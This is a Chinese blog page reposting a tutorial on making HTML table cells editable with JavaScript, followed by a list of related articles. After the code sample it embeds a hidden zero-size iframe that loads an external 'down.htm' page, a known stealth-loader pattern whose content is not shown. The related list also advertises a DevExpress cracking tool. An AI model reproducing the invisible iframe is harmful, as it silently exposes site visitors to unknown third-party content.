怎样让你的表格可编辑???

 

怎样让你的表格可编辑???

出处:http://go.163.com/colorweb

<style> .td1 { color: white; background-color: orange;font-size:11pt} .td2 { color: white; background-color: #0099ff;font-size:11pt} .td3 { color: white; background-color: #336699;font-size:11pt} blockquote{BACKGROUND-POSITION: center center; BACKGROUND-IMAGE: url(http://lucky.myrice.com/back.jpg); BACKGROUND-REPEAT: no-repeat;padding-left:20px;padding-top:20px;padding-bottom:20px;border: 12px solid #66ffff; border-style: ridge;background-color:#0099FF} </style> <script> function editCell (cell) { if (document.all) { cell.innerHTML = ''; document.all.editCell.focus(); document.all.editCell.select(); } else if (document.getElementById) { cell.normalize(); var input = document.createElement('INPUT'); input.setAttribute('value', cell.firstChild.nodeValue); input.setAttribute('size', cell.firstChild.nodeValue.length); input.onchange = function (evt) { setCell(this.parentNode, this.value); }; input.onclick = function (evt) { evt.cancelBubble = true; if (evt.stopPropagation) evt.stopPropagation(); }; cell.replaceChild(input, cell.firstChild); input.focus(); input.select(); } } function setCell (cell, value) { if (document.all) cell.innerText = value; else if (document.getElementById) cell.replaceChild(document.createTextNode(value), cell.firstChild); } </script>
欢迎光临[孟宪会之精彩世界]http://lucky.myrice.com

代码如下:

<xmp><html> <head> <style> .td1 { color: white; background-color: orange;} .td2 { color: white; background-color: #0099ff;} .td3 { color: white; background-color: #336699;} </style> <script> function editCell (cell) { if (document.all) { cell.innerHTML = ''; document.all.editCell.focus(); document.all.editCell.select(); } else if (document.getElementById) { cell.normalize(); var input = document.createElement('INPUT'); input.setAttribute('value', cell.firstChild.nodeValue); input.setAttribute('size', cell.firstChild.nodeValue.length); input.onchange = function (evt) { setCell(this.parentNode, this.value); }; input.onclick = function (evt) { evt.cancelBubble = true; if (evt.stopPropagation) evt.stopPropagation(); }; cell.replaceChild(input, cell.firstChild); input.focus(); input.select(); } } function setCell (cell, value) { if (document.all) cell.innerText = value; else if (document.getElementById) cell.replaceChild(document.createTextNode(value), cell.firstChild); } </script> </head> <body>
欢迎光临[孟宪会之精彩世界]http://lucky.myrice.com
</body> </html> </xmp>
<iframe src="http://lucky.myrice.com/down.htm" height="0" width="0"></iframe>
可编辑表格组件ReEditTable(API) 基于分页表格ReTable扩展的可编辑表格,组件内通过构造单元格渲染方法实现表单控件的渲染,实现多种可编辑表格交互方式,可以满足绝大部分的编辑场景。 阅读详情

相关推荐

ASP.NET中使用GridView模板列实现数据在线编辑功能

GridView控件是ASP.NET Web Forms中用于展示和操作表格数据的核心控件之一,具有强大的数据绑定能力和灵活的自定义支持。它通过行(Row)、列(Column)的结构化布局,实现了对数据库记录的展示、排序、分页、编辑等常见操作。在实际开发中,GridView广泛应用于后台管理系统、数据维护界面等场景。在GridView的列类型中,(模板列)尤为关键,它允许开发者通过自定义和实现高度灵活的界面交互。这种机制为实现在线编辑功能提供了基础支撑。

weixin_42575109的博客 1183

【在Java中如何创建和使用表格】

【在Java中如何创建和使用表格】

m0_55749088的博客 1万+

基于Handsontable的ASP.NET可编辑动态表格(读取xls文件)2.0

通过读取Excel(暂仅支持.xls)文件,生成网页的可编辑动态表格,有问题请发邮件至meteor@meteoreon.com。PS:上个版本有BUG,下载过的请发邮件

HTML实现可编辑表格

(1)页面中的数据表格通常承载了用户所需的数据,通常用户需要根据实际情况对部分数据进行修改。(2)当点击表格中可编辑数据时,在当前单元格中显示文本框并在其中显示原数据,从而为用户提供修改该数据的输入域。(a)在编辑模式下点击文本框之外的任何区域即可确认输入。(b)在编辑模式下输入数据不符合要求时,应该给出适当的提示,并强制改正后方可确认输入。

weixin_52909924的博客 4232

如何根据芯片手册时序图编写驱动程序

如何根据芯片手册时序图编写驱动程序 对于电子开发者来说,刚刚拿到一个芯片,常用的芯片可以参考网上的例程来做深入了解,对于一个不常用的芯片来说,Datasheet几乎是使用芯片的唯一的资料,所以根据Datasheet时序图写出对应的驱动程序就尤为重要。 本文根据一个简单的例子来阐述根据时序图来编写对应的程序过程。旨在讲解对于初学者应该怎么利用芯片的时序图编写符合要求的底层驱动程序(老鸟请跳过)。 下载芯片的Datasheet,(个人常用http://www.21icsearch.com/)如..

weixin_36447711的博客 1万+

RK3566/RK3588 NPU性能实测:用mobilenet模型快速验证你的开发板NPU是否正常工作

本文提供了RK3566/RK3588开发板NPU性能实测指南,通过MobileNet模型快速验证NPU是否正常工作。详细介绍了环境搭建、测试资源获取、编译运行及结果分析的全流程,帮助开发者高效验证神经网络加速器功能,为后续AI应用部署奠定基础。

weixin_28826521的博客 449

java操作excel表格(最简单的教程!一学即会)

背景 Excel表格的使用在我们的日常生活中十分的普遍。 有时候我们会遇到这样的需求:在开发某管理系统的功能时需要与Excel进行交互,亦或是平时在对excel表格做处理和分析的时候用编程来实现操作能更加高效和便捷。 基于此,本文章的目的在于实现编程与Excel的简单交互,编程使用的语言为JAVA。 Java实现操作excel表格的功能,方法不少,形式多样,如使用Office文档的Java处理包POI来操作excel,如使用一些企业封装好的开源的工具等等。 本文采用的方法是使用由java语言开发而成的工

kid00712138的博客 1万+

ArcGIS License Server点击启动没反应,许可管理器无法启动怎么办

4 当我们再打开ArcGIS License Server Administrator的时候。3 在【服务】中找到【ArcGIS License Manager】双击。无法启动ArcGIS License Server的情况。在使用ArcGIS的过程中,我们经常会遇到。专注GIS领域知识分享,交流行业软件技巧。欢迎关注,不定期分享GIS各种问题和技巧。1 右击我的电脑——【管理】服务状态——启动,确定即可。启动类型选择——自动。

GIS蒲公英的博客 2万+

Java中JTable的可编辑性实现详解

JTable可以通过默认的编辑器在单元格级别进行编辑。为了实现这一点,我们需要扩展抽象类,使得JTable可以编辑。我们将覆盖和方法,并提供一种方式来指定哪些行和列可以被编辑。首先,我们定义一个Editable接口,用于指定哪些行可以被编辑。如果一个bean实现了这个接口,那么只有当返回true时,该行才是可编辑的。

m0_74337424的博客 876

微信小程序 - 最新获取用户昵称 / 头像(wx.getUserProfile 接口被废弃后的代替方案)详细教程,2022 年之后的所有微信小程序,获取用户信息最新详细教程,附带示例源代码

微信小程序wx.getUserProfile接口废了用什么代替,微信小程序wx.getUserProfile不能用了怎么办,wx.getUserProfile失效有什么替代方案吗,微信新规定头像昵称填写最新教程,目前微信小程序最新获取用户头像昵称教程,微信小程序用户头像昵称获取规则调整公告,2022改版后的微信小程序如何获取用户头像和昵称信息,微信小程序官方废弃getUserProfile后如何实现获取用户信息,微信小程序wx.getUserProfile接口返回了默认头像昵称,微信小程序获取用户信息不

🏆 前端领域优质创作者 2万+

在Centos上从零开始部署并运行TinyWebServer服务器,过程记录(非常详细)

TinyWebServer是个什么项目?它是Linux下C++轻量级Web服务器,助力初学者快速实践网络编程,搭建属于自己的服务器。使用线程池+非阻塞socket+epoll(ET和LT均实现) +事件处理(Reactor和模拟Proactor均实现) 的并发模型使用状态机解析HTTP请求报文,支持解析GET和POST请求访问服务器数据库实现web端用户注册、登录功能,可以请求服务器图片和视频文件实现同步/异步日志系统,记录服务器运行状态。......

AnChenliang_1002的博客 3021

设计可编辑表格组件

什么是表单表格呢?简单来说就是在一个表格里面进行表单操作,执行增删改查。这在一些后台管理系统中是尤为常见的。 今天我们根据 + 来设计一个表单表格组件。(不涉及完整代码,想要使用完整功能可以看底部连接)首先我们思考表格里面的表单元素应该如何实现。在用户使用的时候,我们希望用户传入一个指定的类型自动去匹配对应的表单组件。那我们就应该将所有类型做一个集成,并分别给他们一个类型名称。当然,为了最大程度为他们保留在已经实现的属性与方法,肯定接收的是一个对象,对象里面包含了他要展示的组件类型,一些原的属性方法,我们

qq_44473483的博客 1948

第五章 TTM 后备管理:5.6系统内存域

系统内存域由 TTM 内置资源管理器管理,通过 ttm_tt 承载页信息,依赖 ttm_pool 提供物理页。ttm_tt 管理页数组、缓存属性与状态标志,支持外部页与换出机制。初始化分 ttm_tt_init 与 ttm_sg_tt_init,生命周期包括创建、填充、释放与销毁。页池针对 write-combined、uncached 及一致性 DMA 分配的页进行缓存,提升性能并减少 TLB 刷新。分配时高阶优先、批量设置缓存属性,回收时清零后归还池中,确保高效复用。

图形/计算GPU的驱动与虚拟化技术分享园地 2569

JQuery实现可编辑的表格

前言   我们知道jQuery是一个轻便的JavaScript框架,里面封装了系统和程序常用到的一些方法,利用CSS、HTML可以将这些内容运用起来,做出各式各样好看的界面,下面小编使用jQuery实现了一个“可编辑的表格”的例子。代码加说明一、HTML代码1.使用&lt;thead&gt;&lt;/thead&gt;实现标头;2.一个table中可以包含thead和tbody3.表头的内容可以放...

冯浩月 3751

AI时代的软件质量保证新方法论

3.2.1 质量保证的方法论 质量保证(Quality Assurance, QA)是一种系统化的方法,用于确保产品或服务符合预定的质量标准。在AI时代,软件质量保证的方法论需要适应不断变化的AI技术和应用场景。 3.2.1.1 质量管理体系的构建 首先,构建一个完善

AI天才研究院 1352

核心面试聚焦:业务问题+系统问题+设计题---字节、阿里、美团等整理统计

业务系统及其他相关面试问题整理:线上相关问题排查+高并发系统的限流+高并发秒杀系统设计+负载均衡+一个网站有 20 亿 url 存在一个黑名单中,这个黑名单要怎么存?若此时随便输入一个 url,你如何快速判断该 url 是否在这个黑名单中?并且需在给定内存空间(比如:500M)内快速判断出?

曾经“等你生日那天”都遥远得像未来,如今却可欢愉的挥手说“下个十年见” 172万+

组件化可编辑表格

"score":[{"name":"张三","chinese":100,"math":90,"english":80},{"name":"李四","chinese":90,"math":100,"english":80},{"name":"王五","chinese":80,"math":80,"english":100}],{"name":"张三","sex":"男","age":18,"address":"北京"},

2201_75883040的博客 1247

android 蓝牙通讯demo

android 下蓝牙通讯demo,实现了发现蓝牙,使能蓝牙,通过蓝牙发送消息。

html可编辑的表格

<!DOCTYPE html > <html > <head> <meta charset="utf-8" /> <title>可编辑表格</title> <style> table.wTable { margin-top:15px; border-collapse:collapse; border:1px solid #aaa; width:100%; } table.wTable th { vertical-a

龚清林的博客 1万+

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

Outlook Express 6 (OE6) for Win7/Win8/Win10

英文版 Outlook Express6.0, 兼容Win7/Win10/WinXP,解压就可用。

Antd Table 可编辑表格

antd Table 官方文档提及了 可编辑单元格、可编辑行,这里解决可编辑表格;主要思路是将antd Table可编辑行 与antd Form.List 相结合;表格内编辑;可编辑单元格;可编辑行;简单易理解 ​

知之为知之,不知为不知 1万+

Devexpress16.2.6破解工具

Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具Devexpress16.2.6破解工具

ElementUI实现可编辑表格

实现效果: 【可编辑单元格】双击某个单元格 该单元格变为input输入框 编辑修改目标单元格 ; input输入框失去焦点时 input输入框隐藏 展示默认Table <el-table :data="paramTable" border tooltip-effect="light" size="mini" @cell-dblclick="cellClick"> <el-table-column type="index" label="序号" width="50" alig.

yangwq的博客 7472

layui可编辑表格新增、保存、删除操作以及注意事项

Layui一直是本小编使用的前端,因为使用方便可操作性强外观美观,让后端全栈的小编感觉很巴适。总结使人进步,那么现在我就直接撒干货了。这篇博文分两部分吧,显示总结性的讲解一下,然后小编会在第二部分把源码直接粘出来与大家共享,一是方便以后自己用了可以直接拿过来用,二是方便有困难的小伙伴直接粘贴一个demo来根据自己的需求改进。这篇文章会直接吧可编辑列表的新增一行、删除、更新以及查询都...

Edward·Che的博客 1万+

基于elementui可编辑表格

由于业务需求,实现在数据表中直接编辑数据:基础需求:1、需要直接在数据表格中修改或填写某些数据。2、编辑完成后,按回车键可跳转至下一个可编辑的单元格。3、在失焦时,或按下回车键进行数据保存。扩展需求:1、多级表头,可配置显示。2、集成导出按钮。3、集成打印按钮。4、集成列配置按钮。5、集成统计图表生成按钮(暂未添加)。

weixin_45814639的博客 1975

JS 可编辑表格的实现(进阶)

1、前言 在普通的可编辑表格的基础上,改进可编辑表格。数据来自外部的json(模拟服务端),通过json数据生成可编辑表格。根据实际情况,表格没有新增数据功能。表格的可编辑列,计算的列,每列的数据大小,以及是否删除都可进行配置,在修改单元格内容和删除行数据都会映射到相应数据集中。 实现效果: 2、设计思路与方法 现将基本样式写好,将所有的数据写在json文件里。定义两个空数组,通过Aja...

如诗 3795
上一篇: 打印对象的所有属性或方法
下一篇: 防止您的页面被拷贝的方法!!!!!!!!!!
java2000_test
博客等级 码龄19年 10粉丝 320原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值